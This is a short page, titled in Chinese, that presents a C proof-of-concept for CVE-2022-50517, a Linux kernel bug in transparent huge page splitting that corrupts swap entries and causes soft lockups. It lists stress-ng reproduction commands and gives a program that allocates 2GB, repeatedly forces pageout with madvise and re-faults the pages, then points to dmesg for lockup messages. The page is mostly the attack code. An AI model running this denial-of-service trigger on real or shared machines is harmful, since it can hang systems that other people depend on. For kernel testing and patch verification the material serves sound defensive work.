CVE-2022-50517 Linux内核THP拆分时损坏swp_entry_t导致软锁死漏洞

// PoC for CVE-2022-50517: Linux kernel THP split swp_entry_t corruption // This vulnerability can be triggered using stress-ng mmap workload // on affected kernel versions (those including commit b653db77350c) /* * Reproduction steps: * 1. Build stress-ng from source: https://github.com/ColinIanKing/stress-ng * 2. Run the mmap stress test with sufficient memory pressure: * stress-ng --vm 8 --vm-bytes 4G --mmap 8 --mmap-bytes 4G --timeout 600s * 3. Monitor dmesg for soft lockup messages: * watchdog: BUG: soft lockup - CPU#X stuck for 26s! [stress-ng:XXXX] * * Alternative reproduction using mmtests config: * - Use config-workload-stressng-mmap from mmtests suite * - The bug is non-deterministic and may require multiple runs */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> #include <sys/syscall.h> #define MADV_PAGEOUT 21 #define MAP_ANONYMOUS 0x20 #define MAP_PRIVATE 0x02 int main(int argc, char *argv[]) { size_t size = 2UL * 1024 * 1024 * 1024; // 2GB to trigger THP int iterations = 100; printf("CVE-2022-50517 PoC - THP split swp_entry_t corruption\n"); printf("Allocating %zu bytes of anonymous memory...\n", size); void *addr = mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (addr == MAP_FAILED) { perror("mmap failed"); return 1; } // Touch pages to trigger THP allocation memset(addr, 0x41, size); for (int i = 0; i < iterations; i++) { // Trigger pageout to force swap operations on THP if (madvise(addr, size, MADV_PAGEOUT) != 0) { perror("madvise PAGEOUT failed"); } // Re-fault pages to trigger THP split and re-allocation volatile char *p = (volatile char *)addr; for (size_t j = 0; j < size; j += 4096) { p[j] = (char)(i + j); } printf("Iteration %d/%d completed\n", i + 1, iterations); usleep(10000); } munmap(addr, size); printf("PoC completed. Check dmesg for soft lockup.\n"); return 0; }